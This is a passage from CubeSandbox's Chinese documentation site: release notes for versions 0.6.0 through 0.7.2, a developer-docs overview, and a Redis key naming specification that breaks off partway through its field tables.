**组件镜像发布流水线** (#795)：新增 `release-docker-images.yml`，向 GHCR / TCR 推送 multi-arch 组件镜像；`bump-image.sh` 统一管理硬编码镜像标签。 * **CubeMaster Dockerfile** (#813, #824)：统一 Docker build args / context，修复 ARG 作用域；CubeAPI Dockerfile 改为单次构建并加安全门禁 (#854)。 * **一键 DNS dnsmasq 回退** (#740)：无 systemd-resolved 且 NetworkManager dnsmasq 插件未拉起子进程时，可选由脚本自管 dnsmasq，避免 `cube.app` 解析失败。 * **Cubelet 配置 patch 锚定** (#776)：sed 替换锚定行首，避免改 `CUBE_SANDBOX_NETWORK_CIDR` 时误改空的 `cube_router_cidr`。 #### Web UI / AgentHub / 其他 * **CubeAPI lifecycle snake\_case** (#772)：接受 `lifecycle.on_timeout` / `lifecycle.auto_resume` 等 Python 风格字段名，避免静默落到 kill / 无 resume。 * **AgentHub OpenClaw bind=lan** (#769)：强制 gateway 绑定 `lan`，确保 cube-proxy 可通过 tap IP 访问，避免 `auto` 落到 loopback。 * **ARM64 运行时加固** (#807)：dirty bitmap 粒度改用宿主机页大小（修复 64KB 页上快照严重不完整、恢复后 200% CPU）；aarch64 vCPU 在无 PMUv3 主机上自动回退无 PMU 初始化。 * **开发环境 QEMU 10.x** (#713)：显式 `-drive if=none` + `-device virtio-blk-pci`，修复 QEMU 10.2.2+ 的空 drive 错误。 ### 🐛 Bug 修复 #### 生命周期与沙箱 * **Resume 幂等** (#817)：沙箱已处于 Running 时返回可识别的「已在目标状态」信号（CLM 视为成功），不再与真正不可 resume 的状态混为同一错误。 * **删除不存在沙箱返回 404** (#759)：CubeAPI / CubeMaster 对缺失沙箱的 delete 映射为 NotFound。 * **沙箱列表稳定排序** (#762)：按创建时间降序 + SandboxID 打破平局，避免 WebUI / SDK 刷新时顺序跳动。 * **模板网络规则与资源默认值保留** (#581)：从镜像创建模板时保留 egress 规则；CPU/内存同时超限时保留首个校验错误；请求侧 override 在 first-match-wins 下优先生效。 #### 网络与数据面 * **TAP 回收安全**（network-agent）：清理与池准备完成前不归还 TAP；失败清理路径不把带残留策略的 TAP 放回池；复用前清理策略 / DNS allow 状态，避免跨沙箱泄漏。 * **Go SDK envd 端口** (#821)：envd RPC（commands / files / filesystem / PTY）改走 49983，不再误打到 Jupyter 端口 49999；仅 `RunCode`/`/execute` 仍走 Jupyter。 #### 其他 * **示例 host-mount 路径对齐** (#768)：示例与文档路径改为 `/data/shared/...`，匹配默认白名单。 ### 📚 文档 * **ARM64 支持公告博客** (#866)：中英文 InfoQ 风格发布稿，介绍与 Arm 联合推进的多架构能力。 * **Pi Agent 集成指南** (#701)：中英文集成文档 + 可运行示例（pause/resume、网络策略、凭据注入）。 * **生命周期 / 配额文档** (#739)：补充 ARM64 安装说明与 lifecycle 配额相关文档。 * **持久化存储指南** (#756)：host-mount 路径限制、权限、多租户隔离、多节点共享存储。 * **Roadmap** (#731)：README 与文档站增加 roadmap。 * **v0.5.0 发布相关** (#770, #781)：发布博客与特性描述更新；Quickstart 注明 Multi-Arch 镜像可用性 (#806)。 * **开发技能与文档规范** (#788, #789)：Claude Code `run-dev` skill；i18n 同步检查与变更驱动文档审计规则。 ### ⚙️ 工程改进 * **版本矩阵允许平台后缀** (#747)：版本检查兼容带平台后缀的版本号。 * **PVM guest 构建触发收紧** (#819)：仅在 version tag 时触发 pvm-guest 构建。 * **镜像标签 bump**：发布候选过程中多次同步 one-click / Terraform 默认镜像至 `v0.5.1-rc*` (#826, #867)。 * **Python SDK 版本 bump 至 0.5.0** (#818)。 * **CubeAPI 死代码清理** (#796) 及其他小范围工程整理。 > 说明：Web Example Center（#615）曾合入后随即回滚（#778），不包含在本版本交付中。 --- --- url: https://cubesandbox.com/zh/changelog/v0.6.0.md --- ## 2026.07.24 Release v0.6.0 CubeSandbox 0.6.0 面向生产部署与运维持续增强关键能力。 当前版本引入了 6 个核心特性以及多个功能增强与问题修复。共计 92 个提交，来自 31 位贡献者。 ### 🎯 核心特性 #### K8s 部署：支持在 K8s 中部署 Cube 的控制面组件及计算节点 支持通过 Helm Chart，将 CubeSandbox 的控制面组件和计算节点直接部署到腾讯云 TKE、标准 K8s 或 k3s 集群中。可通过标准 K8s 运维方式执行组件滚动升级、灰度发布等操作。关于 K8s 部署的详细信息请参考 [K8s 部署指南](https://cubesandbox.com/guide/kubernetes/)。 ::: warning 预览版本 K8s 部署功能当前处于预览阶段，平滑升级等高级功能仍在积极开发中，欢迎体验和反馈。 ::: #### 兼容 E2B 标准的 Volume 框架 新引入兼容 E2B 标准的 Volume 框架，在兼容 E2B 标准的前提下允许用户以插件形式自定义后端存储方案。提供 Create/Destroy/Attach/Detach 四个 HOOK 点，以及 Binary/RPC 两种插件形态。当前版本提供 Volume 生命周期管理、沙箱绑定 Volume 相关 API、配套 SDK 与 cubemastercli 能力。详细信息请参考 [Volume 插件文档](https://cubesandbox.com/guide/volume-plugin.html)。 #### 支持模板别名 支持在创建模板时为模板设置别名，并通过指定别名创建沙箱。 说明：别名只能在创建模板时设置，不支持为已有模板修改别名。当前仅 Python SDK 支持指定别名创建沙箱，其他 SDK 后续即将支持。 #### 支持配置沙箱入向请求的 Host 允许配置请求转发至沙箱时的 `Host`（而非默认的 `<port>-<sandboxId>.<domain>`），更好地兼容沙箱内基于 Host 的服务。新增 `network.maskRequestHost` 参数，可在创建沙箱时指定转发给沙箱内服务的 `Host`（例如 `localhost:${PORT}`，访问 3000 端口时展开为 `localhost:3000`），以便兼容依赖 Host 做路由、校验或回调的应用。 #### 支持计算节点隔离 支持从调度层面“隔离”某个计算节点，便于运维时登录节点进行维护、升级和排查问题。计算节点被隔离后，将不会调度新的沙箱到该节点，存量沙箱运行不受影响。 可通过 `cubemastercli node isolate <node-id>` 进行节点隔离，通过 `unisolate` 子命令解除隔离，详细用法请参考[节点相关操作](https://cubesandbox.com/zh/guide/node-operations.html)。 #### CubeOps 运维服务：将运维 & Web 控制台逻辑从 CubeAPI 模块中解耦 Web 控制台相关能力从 CubeAPI 模块中剥离，独立为 CubeOps 服务，使 CubeAPI 更轻量、更具可扩展性。 ### ✨ 功能增强 #### SDK * **Go SDK PTY** (#815)：优化交互式终端能力。 * **Python SDK X-API-Key 认证补齐** (#995)：全路径请求携带 X-API-Key。 * **Go SDK Connect 协议帧与数据面修复** (#828, #941)：process.Process/Start、exit-0 end 事件解析，以及 encode 去重与数据面缺陷修复。 * **短沙箱 ID 前缀解析** (#697)：CubeMaster / Cubelet 支持短 ID 前缀解析，运维与排障更方便。 #### 模板与存储 * 模板支持启用 ivshmem 设备 (#858)。 * **cubemastercli 用户体验优化** (#891)：`tpl info` / `delete` / `redo` 命令体验优化。 * 新增 cubemastercli volume 相关子命令 (#1077)。 #### 生命周期与控制面 * **CLM 状态同步** (#956)：增强沙箱生命周期状态一致性，控制面的暂停/恢复动作会同步给数据面。 * **CubeProxy 状态推送异步化** (#1044)：带退避重试，降低同步推送抖动。 * **删除触发的 auto-resume 跳过资源容量检查** (#1015)：避免 delete 路径上的 resume 被容量检查误拦。 * **Schema 迁移开关** (#1037, #1076)：新增 `CUBE_AUTO_MIGRATION` 环境变量，可跳过启动期数据库自动迁移，便于受控升级。 * 支持删除处于暂停状态的沙箱。 #### 网络与安全代理 * **CubeEgress MITM 叶子证书 SAN** (#948)：叶子证书写入 subjectAltName，改善 TLS 校验兼容性。 * **Traffic token 校验失败返回 403** (#1053)：对齐 E2B，避免与其他错误码混淆。 * **CubeProxy Redis hostname resolver** (#714)：正确解析 Redis 主机名。 * **Connect 流禁用 gzip** (#1083)：避免流式 RPC 被压缩破坏。 #### 部署与运行时 * **PostgreSQL 元数据后端** (#674, #1000)：CubeMaster DAO 层支持 PostgreSQL。 * 沙箱内从 cgroup v1 改为 cgroup v2 (#899)。 * Cubelet state tmpfs 支持动态扩容 (#1008)。 #### Web UI / CubeOps / 其他 * 计算节点组件版本清单上报优化 (#1020)。 * CubeMaster HTTP 接口改为使用 gin 框架处理 (#922)。 ### 🐛 Bug 修复 #### 生命周期与沙箱 * 嵌套 host-mount 挂载顺序：按用户指定顺序进行配置 (#946)。 * 计算节点健康状态周期性同步 (#730)：避免健康状态与调度视图不一致。 * WebUI：沙箱超时清理后收敛 404 终态 (#1036)，消除会话失效风险 (#1048)。 #### 安全与校验 * CVE-2026-24834 / CVE-2026-47243 修复 (#1066)。 * 镜像引用校验强化 (#868)：防止参数注入。 * PVM kernel 内核更新 (#937)：解决安全漏洞。 ### 📚 新增文档 * Kubernetes 部署指南（#1067 等）：中英文安装 / 架构 / 升级 / FAQ。 * 节点隔离指南 (#1093)。 * Volume 插件指南与 COS 示例 (#997, #1089)。 * 组件排障指引 (#968)。 --- --- url: https://cubesandbox.com/zh/changelog/v0.7.0.md --- ## 2026.08.28 Release v0.7.0 CubeSandbox 0.7.0 引入了4个核心特性以及多个功能增强与问题修复。共计 239 个提交，来自 57 位贡献者。 ### 🎯 核心特性 #### 跨机暂停恢复 基于S3后端存储支持跨机的pause/resume以及基于snapshot创建沙箱，该功能目前是预览版本。 #### 组件多版本 * 新建的模板、快照会包含所依赖的组件版本信息，后续在计算节点组件升级后，历史的模板、快照仍然可以使用，升级也不再影响已有实例的pause、resume，存量业务稳定性更有保障。 #### 网络子系统重构，加速沙箱网络创建流程 * 架构优化：减少组件部署，将 network-agent 组件合并进 Cubelet，减少沙箱创建流程中的进程间 RPC 调用；重构 TAP 设备生命周期管理，避免网络规则跨沙箱泄露，减少边界风险 * 性能优化：优化 eBPF 网络策略下发路径，大幅降低带有网络规则的沙箱创建延迟；减少不必要的 netlink dump 操作，当空闲 TAP 设备耗尽后，保障高并发创建新 TAP 设备的稳定性 #### 控制面/运维架构分离 在架构上，将运维能力从CubeMaster中分离。把节点管理逻辑独立到CubeOps中，支持多副本部署，提供cubeopscli工具。 ### ✨ 功能增强 #### 模板与存储 * CubeS3lvol COW (#1490): cubecow在原本的本地XFS cow引擎之外，新增支持基于对象存储S3的远程快照存储，支持跨节点的暂停恢复和快照克隆。 * 私有 HTTP 镜像仓库支持(#1369)：支持从http镜像仓库拉镜像来做模板 * 内置 MinIO 作为默认 S3 卷后端(#1408)：默认部署minio作为s3后端，用于volume功能、跨机暂停恢复。同时，用户也可自行指定s3后端。 #### 生命周期与控制面 * 新增节点删除功能（#1202）：支持从集群中删除节点，使其不再参与调度。 #### 网络与安全代理 * 网络子系统重构，将 NetworkAgent 整体嵌入 Cubelet，优化网络创建流程 * 支持运行中的沙箱动态更新网络策略 * CubeEgress 七层转发规则支持自定义端口 * CubeVS 同子网 MAC 地址学习，避免非 hairpin 网络通信黑洞 * CubeProxy 支持自定义管理端口，支持 gRPC 协议 #### SDK * Volume 能力补齐：Go（#1269）与 Node（#1277）SDK 新增 Volume CRUD 与 `volumeMounts` 挂载，三语言能力拉齐。 * 模板别名完整支持：构建时别名（#1119）与现有模板别名管理（#1120），覆盖 Go / Node / Python。 * Go SDK 用户级文件视图（#1348）：`Files.ForUser` 按用户身份隔离文件访问。 * Node SDK 运行时 timeout（#1251）：`Sandbox.setTimeout(timeout)` 支持 `NEVER_TIMEOUT`。 * Python SDK 沙箱调度范围（#1144）：`Sandbox.create(distribution_scope=...)` 显式指定沙箱可放置的节点/区域。 * Go SDK 私有沙箱数据面修复（#1185）：RunCode / Commands / Files / PTY 正确透传 TrafficAccessToken。 * Node SDK 认证头修复（#1360）：调用方显式传入的 `Authorization`（含小写形式）不再被 SDK 默认 `apiKey` 覆盖。 * 三语言 SDK clone 快照延迟清理（#1095）：引用计数，所有 clone 销毁后才删除临时快照。 #### 部署与运行时 * 日志轮转策略可配置(#1339)：用户可通过配置文件调整cubelet的日志轮转策略。 * 内核 / guest 镜像产物独立发布(#1324): 版本发布不再重新编译内核和 guest 镜像,而是从专用的 `kernel-release-*` / `guest-image-*` Release 拉取固定版本 #### Web UI / CubeOps / 其他 * CubeOps：节点管理能力移至本模块；新增cubeopscli工具管理节点功能并移除cubemastercli node子工具；默认支持双副本部署；（#1384、#1494） * Web UI：提供节点隔离/解除隔离功能；提供查看节点操作记录功能；（#1384） ### 🐛 Bug 修复 #### 生命周期与沙箱 * 修复暂停/恢复失败引发的沙箱状态不一致、僵尸进程及删除异常等问题（#978，#985，#1137，#1274） * 修复快照性能问题（#1300，#1504） * 修复并发创建沙箱时的模板缓存数据竞争(#1366) #### 网络与安全 * 修复暂停/恢复及节点重启场景下，TAP 设备恢复异常导致沙箱状态异常等问题（#930，#987，#1207） #### 其他 * 修复日志轮转配置失效（#1289） * 扩展 Python SDK 兼容性端到端测试，新增文件系统、回滚与克隆、在线超时更新、异常生命周期及高级模板参数等场景的覆盖（#1226） ### 📚 新增文档 * 新增K8s 部署方式的计算节点 cube-node 重建约束与 hostNetwork 指引(#1495) * 社区页面(#1344、#1364): README 新增赞助者与贡献者墙。 --- --- url: https://cubesandbox.com/zh/changelog/v0.7.1.md --- ## 2026.09.11 Release v0.7.1 CubeSandbox 0.7.1 引入了 1 个核心特性以及多个功能增强与问题修复。共计 70 个提交，来自 24 位贡献者。 ### 🎯 核心特性 #### Cube 控制面服务支持全链路高可用 * 独立模板中心服务，使得 CubeMaster 可多副本部署。 * 生命周期管理服务支持主备模式部署。 ### ✨ 功能增强 #### 模板与存储 * Snapshot 支持 Host Mount 与 Volume Plugin：支持对包含外部挂载的沙箱执行快照、恢复、回滚和克隆（#1654，#1656）。 * 独立模板中心 CubeTemplateCenter：模板构建 / 删除 / 回收从 CubeMaster 拆分为独立可多副本部署，构建产物持久化到 S3/MinIO（兼容 AWS S3），并修复并发构建竞态、artifact 表名不一致与本地盘存储易失等长期问题（#1659）。 * 跨机快照同桶恢复提速（#1663）：从同一桶恢复快照改走对象存储服务端拷贝，速度显著提升；同时完善延迟删除的回收，新增快照取消能力。 #### 生命周期与控制面 * CLM 支持主备容灾。 * 运行中的沙箱不再阻止快照删除（#1620）：删除仍被引用的快照立即生效，底层存储在最后一个引用释放后自动回收。 #### 安全 * virtiofsd 安全加固（#1612）：设置目录白名单后拒绝针对根目录的变更操作，并拒绝伪造的 readdirplus 请求。 #### 部署与运行时 * K8s 支持部署 CubeS3lvol（#1637）：可在 K8s 上使用 S3 后端的跨节点暂停恢复与快照。 * 一键部署支持外部 PostgreSQL（#1644）：通过 `CUBE_DATABASE_DRIVER` 选择 MySQL / PostgreSQL，接入自建数据库实例。 * CubeS3lvol 改为显式开启（#1622、#1633）：需设置 `[cow.s3] enable = true`（一键部署用 `ONE_CLICK_ENABLE_S3LVOL=1`），默认关闭；同时修复一键部署升级时该开关不生效的问题。升级注意：此前未显式配置但实际在使用 S3 的节点，升级后需显式开启。 * Helm 统一 Redis 逻辑库配置（#1638）：新增顶层 `redis.db`，统一作用于 CubeMaster / CubeProxy / CLM；多套集群共享同一 Redis 时可按集群隔离逻辑库。 #### Web UI / CubeOps / 其他 * cubemastercli 批量删除模板（#1549）：`tpl delete` 支持一次传入多个模板 ID。 ### 🐛 Bug 修复 #### 生命周期与沙箱 * 修复沙箱设置为永不过期（`NEVER_TIMEOUT`）后被立即判定为已过期的问题（#1401）。 * 修复创建请求中非法的 CPU / 内存规格被按 0 处理，导致沙箱绕过节点资源过滤、可被调度到任意节点的问题（#1463）。 * 修复恢复（Resume）时传入的新超时时间被丢弃、沙箱仍沿用暂停前超时的问题（#862）。 * 修复 S3 后端恢复后再创建快照退化为全量内存导出的问题，快照保持增量（#1688）。 * 修复基于模板创建的沙箱无法查看日志（`cubecli logs` 无输出）的问题（#1616）。 * 修复计算节点无响应时模板创建可能无限卡住的问题，增加超时控制（默认 300 秒，可配置）（#994）。 * 修复节点下线 / 删除后对应 gRPC 连接未及时关闭的问题（#1585）。 * 修复新版 s3fs（1.97+ / FUSE3）下 S3 卷挂载失败的问题（#1647）。 #### 网络与安全 * 修复经透明代理访问 LLM 等慢首包上游时，超过 60 秒即被 504 断开的问题；代理收发超时提升至 2 小时（#1655）。 * 修复网络规则注入过大的凭据值导致 CubeEgress 异常的问题；单条注入上限与 E2B 对齐为 2048 字节（#1606）。 * 修复 TAP 设备名超过内核长度限制被静默截断，导致网络设备查找失败的问题（#1552）。 * 修复节点启动初期网关 ARP 缓存未就绪导致 Cubelet 网络插件初始化偶发失败的问题（K8s 部署下）（#1609）。 * 镜像仓库访问凭据不再出现在组件日志中（#1600）。 #### 部署与升级 * 修复 Helm 升级时 Redis StatefulSet 因 PVC 标签变化而失败的问题（#1604）。 * 修复 `global.imageRegistry` 误改写显式指定的私有 / 第三方镜像仓库地址的问题（#1605）。 * 修复 helm test 测试 Pod 在带 taint 节点上一直 Pending 的问题（#1388）。 * 修复 Terraform 部署时节点查询失败（健康节点数为 0）导致校验与模板创建被跳过的问题（#1602）。 * 修复 CubeOps 使用独立 Redis 配置时逻辑库编号不生效，导致节点指标不可见、调度指标更新超时的问题（#1607）。 * 修复日志级别配置为小写（如 `info`）时不生效、回落到 DEBUG 的问题（#1597）。 * 修复 Ubuntu 20.04 上构建 builder 镜像失败的问题（#1588）。 #### 其他 * Node / Python SDK：修复命令执行传入 `0` 或 `NEVER_TIMEOUT` 超时后请求永不返回的问题（#1485）。 * 修复 cubeopscli 版本号显示错误（硬编码 0.1.0）及 `version` 子命令不可用的问题（#1596）。 * 修复 cubemastercli `version` 命令默认无输出的问题（#1657）。 * 修复 Web UI 运行配置页展示已废弃配置项的问题（#1573）。 --- --- url: https://cubesandbox.com/zh/changelog/v0.7.2.md --- ## 2026.09.23 Release v0.7.2 CubeSandbox 0.7.2 引入了 3 个核心特性以及多个功能增强与问题修复。共计 56 个提交，来自 29 位贡献者。 ### 🎯 核心特性 #### 跨机恢复读取性能大幅提升 S3 后端跨机恢复的沙箱，磁盘数据按需从 S3 拉取；本版本对这条读路径做了系统性优化： * 新增整对象本地缓存：S3 上的不可变数据对象在节点本地留存，恢复后的反复读取、以及再次导入同一份快照，都直接命中本地缓存，不再回源。 * 恢复期间读放大得到缓解：零散的小块读合并为整对象 GET，并限制并发拉取预算。 * 在默认 MinIO 环境下，跨机恢复 / 从快照创建进入 running 不到 1 秒。 #### 新增 JuiceFS 卷插件 新增 JuiceFS 存储插件：沙箱可挂载 JuiceFS 文件系统作为持久卷，具备完整 POSIX 语义。 #### Guest 空闲内存自动回收 沙箱内的空闲内存自动回收到宿主机：节点内存占用随沙箱实际用量动态回落，单节点可承载更多沙箱。 ### ✨ 功能增强 #### 模板与存储 * S3lvol 热升级：解决升级 CubeS3lvol 存储组件时，沙箱内出现 EIO 的问题。 * 组件仓库与模板产物存储支持本地文件系统（#1749）：组件仓库与模板产物可选择存放在 S3 / 本地磁盘 / PVC / NFS。 * 增量快照修复（#1343）：修复增量快照的数据丢失问题。 * 暂停 / 快照路径 virtiofs 提速（#1748）：优化暂停前的状态准备流程。 * Cubelet 支持配置模板安装路径，可将大体积模板迁往数据盘（#1675）。 * CubeS3lvol 新增 object cache 功能，跨机恢复时有相同对象读取会优先命中本地 object cache，object cache 和 dest cache 共享本地 cache 存储空间（#1756）。 #### 生命周期与控制面 * `sandbox.connect` 支持 `timeout` 参数（#1352）。 #### 部署与运行时 * K8s 部署的 cube-node 默认改用 hostNetwork（#1815）：cube-node Pod 重建不再销毁网络命名空间，节点上所有沙箱的网络不再随之中断。存量集群切换需先排空计算节点并显式确认（`hostNetworkChangeAck`），全新安装不受影响。 * 沙箱冷启动提速（#1694）：关闭 guest 内核中与业务无关的 RAID6 PQ 启动基准测试。 #### Web UI / CubeOps / 其他 * 移除旧 E2B SDK 引用，Python SDK 命令执行统一走 `envd` Connect RPC（#1786）。 * Python SDK 的 `run_code`（E2B 兼容代码解释器接口）现在也能读到创建沙箱时注入的环境变量（#1323），与 `commands.run` 行为一致；需使用新增的 sandbox-code 示例镜像。 ### 🐛 Bug 修复 #### 生命周期与沙箱 * 修复制作模板时内存快照和镜像快照状态不一致的问题（#1760）。 * 修复删除模板删除后已有快照不可用的问题（#1763）。 * 修复并发构建镜像时任务永久停留在 `BUILT` 状态，数据库连接超时的竞态问题（#1802）。 * 修复快照创建请求重试被误判为请求内容变化而拒绝的问题（#1253）。 * 修复暂停中的沙箱 Info / List 查询不返回超时时间（`end_at=0`）的问题（#1801）。 * 修复 Connect 显式传入的超时时间对已运行沙箱不生效的问题；更短的超时不会缩短已有的更长时限，Python SDK 补齐该参数（#1352）。 * 修复 PVM 识别问题：上游 PVM ABI 移除了 CPUID 签名，改为通过 KVM 支持的 MSR 列表判定，新旧 ABI 兼容（#1781）。 * 修复 PVM guest 在 Intel 宿主上启动时因 GMI sm3/sm4 探测误判而内核 panic 的问题（#1725）。 * 修复 ARM 平台暂停后恢复失败（Could not restore GICv3ITS state）的问题：vgic 状态保存被编译器错误优化为全零（#1658）。 #### 网络与安全 * 修复 overlay CNI 下沙箱 guest MTU 大于节点上行网卡、开箱即网络不通的问题：guest MTU 默认自动跟随节点网卡（只降不升），可用 `cubeNode.network.mtu` 固定（#1674）。 #### 部署与升级 * 修复一键部署下 `CUBE_SANDBOX_CUBE_EGRESS_IMAGE` 环境变量未正确更新到 `.one-click.env` 的问题（#1788）。 * 修复 CubeOps 配置 MySQL 密码含特殊字符时连接失败的问题；错误配置现在启动即报错（#1617）。 * 修复一键安装在 snap 版 Docker 上静默失败的问题，现在会直接提示改用 `docker-ce`（#1789）。 * 修复一键部署下各组件 Redis 逻辑库配置不一致、CubeOps 指标写错库的问题（#1705）。 * 修复 Ubuntu 上安装 PVM 失败的问题（#1770）。 * 修复模板产物缓存无法单独迁移到数据盘的问题（#1675）。 * 修复 s3lvol 默认绑死 CPU0/CPU1 的问题，未配置时自动选用其他 CPU（#1713）。 #### 其他 * 修复 PostgreSQL 下模板别名重复错误按错误文本误判、模板状态发布偶发失败的问题，改按 `SQLSTATE` 精确分类（#1724）。 * 修复 `cubebench` CPU 拓扑报告的兼容性问题（#1757）。 * 新增 Ubuntu 桌面沙箱示例与集成指南（#1746）。 * 新增 OpenCode 集成方案：通过插件钩子把 bash 重定向进沙箱，避免命令直接落在开发机上（#1238）。 * 新增 CI 状态页（#1737）。 * 修正 PVM 的展开说明：Pagetable-based，而非 Parallel（#1772）。 * 文档新增安全警示：HTTP 方式注入凭据不安全，仅限受控内网使用，建议优先 HTTPS（#1818）。 --- --- url: https://cubesandbox.com/zh/contributors.md description: 感谢每一位为 Cube Sandbox 做出贡献的人。 --- --- --- url: https://cubesandbox.com/zh/dev.md --- # 开发者文档 本章节面向**在 CubeSandbox 代码库上工作**的工程师——贡献者、维护者，以及内部服务（CubeMaster、CubeProxy、CubeAPI、Cubelet）的集成者。这里汇集了安全改动系统所需遵循的约定、契约与内部参考。 如果你是*使用* CubeSandbox（部署、制作模板、调用 API），建议从[指南](../guide/introduction)开始。[架构](../architecture/overview)章节讲解系统设计；本章节则更深入一层，聚焦代码编写与服务协作所遵循的规则。 ## 约定 * [Redis Key 命名规范](./redis-key-spec)——所有服务在共享 Redis 实例上必须遵循的统一命名空间：命名格式、归属划分、已注册 Key 清单、TTL 策略，以及各服务的 key 构造模块。 ## 服务设计 * [CubeTemplateCenter 设计](./templatecenter-design)——独立模板构建服务：管控面/数据面拆分、路由规则、回调认证、artifact 生命周期、部署接线与已知限制。 ## 适合放在这里的内容 * 跨服务的数据契约与命名约定（key、消息主题、schema） * 内部模块边界与新增行为的入口（如 key 构造、缓存层） * 针对内部服务的编码规范与贡献规则 * 预留未来补充：内部 API、测试约定、贡献指南 ::: tip 双语同步 开发者文档同时维护英文（`docs/dev/`）与中文（`docs/zh/dev/`）。新增或修改页面时请保持两语言同步，并使用相同文件名以保证 URL 对齐。 ::: --- --- url: https://cubesandbox.com/zh/dev/redis-key-spec.md --- # Redis Key 命名规范 > 适用范围：CubeMaster、CubeProxy 共享的 Redis 实例；CubeAPI 未来接入时亦须遵循本规范。 ## 1. 概述 CubeSandbox 多个服务（CubeMaster、CubeProxy，以及未来可能接入的 CubeAPI）共用同一 Redis 实例。为避免 key 碰撞、误删、误覆盖，以及便于 `SCAN` 治理与审计，所有 Redis key 必须遵循统一的命名空间约定。 **核心原则**： * 禁止裸实体 ID 直接作为顶层 key。 * 所有 key 须经各服务统一的 **key 构造模块**生成，禁止散落字面量拼接。 * 跨服务共享的数据使用 `shared` 命名空间，变更须多端协同。 ## 2. 命名格式 ``` cube:{ver}:{scope}:{resource}[:{sub}...]:{id} ``` | 段 | 说明 | 取值 | | --- | --- | --- | | `cube` | 固定产品前缀，杜绝与第三方 key 碰撞 | 常量 `cube` | | `ver` | schema 版本；value 结构发生**破坏性**变更时升版 | 当前 `v1` | | `scope` | 归属命名空间（按 key 的归属/共享关系，而非编程语言） | 见 §3 | | `resource[:sub]` | 业务实体，全小写，冒号分段 | 如 `node:metric`、`instance:info` | | `id` | 实体 ID（sandboxID、nodeID、taskID 等） | 禁止省略 | **示例**：`cube:v1:shared:sandbox:proxy:7c8fbcd45ffe450fb8f7fb223ad45507` ## 3. Scope 枚举 | scope | 含义 | 读写方 | | --- | --- | --- | | `master` | CubeMaster 私有数据 | 仅 CubeMaster | | `proxy` | CubeProxy 私有数据 | 仅 CubeProxy | | `api` | CubeAPI 私有数据（预留） | 仅 CubeAPI | | `shared` | 跨服务共享契约 | 多个服务协同读写 | `shared` 下的 key 是跨服务契约：新增、改名或变更数据结构时，**所有读写方必须同步变更**，不得单方面修改。 ## 4. 强制规则 1. **集中构造**：CubeMaster 使用 [`CubeMaster/pkg/base/rediskey/rediskey.go`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeMaster/pkg/base/rediskey/rediskey.go)；CubeProxy 使用 [`CubeProxy/lua/redis_keys.lua`](https://github.com/tencentcloud/CubeSandbox/blob/master/CubeProxy/lua/redis_keys.lua)。新增 key 时先在这两处（或 CubeAPI 对应模块）注册构造函数，再在业务代码中调用。 2. **TTL 显式声明**：缓存类 key 必须设置 TTL；生命周期由业务显式 `DEL` 管理的 key（如沙箱路由）默认不设 TTL，仅在具备续期路径或 TTL 大于实体最大存活时间时才可启用兜底 TTL。 3. **保留语义段**（新增锁、幂等等 key 时沿用）： * 分布式锁：`cube:v1:{scope}:lock:{resource}:{id}` * 幂等键：`cube:v1:{scope}:idemp:{resource}:{id}` 4. **治理友好**：同类 key 必须可用 `SCAN cube:v1:{scope}:{resource}:*` 枚举；禁止把可变 ID 嵌入前缀中间导致无法批量匹配。 5. **版本演进**：仅当 value 的数据结构发生破坏性变化时升 `ver`；新增 Hash field、扩展字段不升版。 6. **ID 安全**：`id` 段不得包含未转义的 `:`；构造前应对实体 ID 做格式校验，防止 key 注入导致越权读取。 ## 5. 已注册 Key 清单 以下为当前系统中已注册的标准 key（`v1`）。新增业务 key 须在本节补充登记。 | 业务含义 | Key 模式 | 数据结构 | scope | 写入方 | 读取方 | TTL | | --- | --- | --- | --- | --- | --- | --- | | 节点资源指标 | `cube:v1:master:node:metric:{nodeID}` | Hash | master | CubeMaster | CubeMaster | 刷新式（心跳续期，默认 600s） | | 沙箱代理路由 | `cube:v1:shared:sandbox:proxy:{sandboxID}` | Hash | shared | CubeMaster | CubeProxy | 无（生命周期由 `DEL` 管理） | | 实例信息 | `cube:v1:master:instance:info:{insID}` | Hash | master | CubeMaster | CubeMaster | 无 | | Describe 任务结果 | `cube:v1:master:task:describe:{taskID}` | Hash | master | CubeMaster | CubeMaster / 外部 | 86400s（可配置） | | 实例 metadata（预留） | `cube:v1:master:instance:meta:{...}` | string / list | master | CubeMaster | CubeMaster | 无 | | 沙箱 lifecycle 注册表 | `cube:v1:shared:sandbox:lifecycle:meta` | Hash | shared | CubeMaster | cube-lifecycle-manager | 无（生命周期由 `HDEL` 管理） | | 沙箱 lifecycle 事件流 | `cube:v1:shared:sandbox:lifecycle:events` | Stream | shared | CubeMaster | cube-lifecycle-manager | MAXLEN ~ 100000 | | 沙箱 lifecycle 状态 | `cube:v1:shared:sandbox:lifecycle:state:{sandboxID}` | String | shared | cube-lifecycle-manager | cube-lifecycle-manager | SET TTL（默认 60s）；纯文本状态（`paused` / `running` / 过渡标记） | | 沙箱 lifecycle 唤醒通知 | `cube:v1:shared:sandbox:lifecycle:notify` | Pub/Sub channel | shared | cube-lifecycle-manager | cube-lifecycle-manager | 不适用（best-effort 提示） | | CLM leader 租约 | `cube:v1:shared:lock:lifecycle-manager:leader` | String | shared | cube-lifecycle-manager | cube-lifecycle-manager | SET NX PX，默认 10s；续租/释放使用单 key WATCH 事务 | | 沙箱操作锁（pause/resume/delete） | `cube:v1:master:lock:sandbox:{sandboxID}` | String | master | CubeMaster | CubeMaster | 按操作 SET NX EX：pause **180s**，resume/delete **120s**，其它 **60s**；解锁为 token 匹配的 Lua GET+DEL（不续期） | | CubeProxy 副本注册表 | `cube:v1:shared:cube_proxy:registry` | Hash | shared | CubeProxy | cube-lifecycle-manager | 无（心跳超时后由 `HDEL` 清理） | | CubeProxy 副本心跳 | `cube:v1:shared:cube_proxy:heartbeat` | Sorted Set | shared | CubeProxy | cube-lifecycle-manager | 无（`ZREMRANGEBYSCORE` 清理，默认 15s 过期） | ### 5.1 Hash 字段约定 **`node:metric`**（节点指标） | field | 含义 | | --- | --- | | `ins_id` | 节点 ID | | `update_at` | 指标更新时间 | | `quota_cpu_usage` | CPU 配额用量（milli-cpu） | | `quota_mem_mb_usage` | 内存配额用量（MB） | | `mvm_num` | 虚拟机数量 | | `nic_queues` | 网卡队列数 | | `data_disk_usage_per` / `storage_disk_usage_per` / `sys_disk_usage_per` | 磁盘使用率（%） | **`sandbox:proxy`**（沙箱路由，跨服务契约） | field | 含义 | | --- | --- | | `HostIP` | 宿主机 IP | | `SandboxIP` | 沙箱内网 IP（可选） | | `CreatedAt` | 创建时间 | | `AllowPublicTraffic` | public URL 是否无需访问令牌 | | `TrafficAccessToken` | public URL 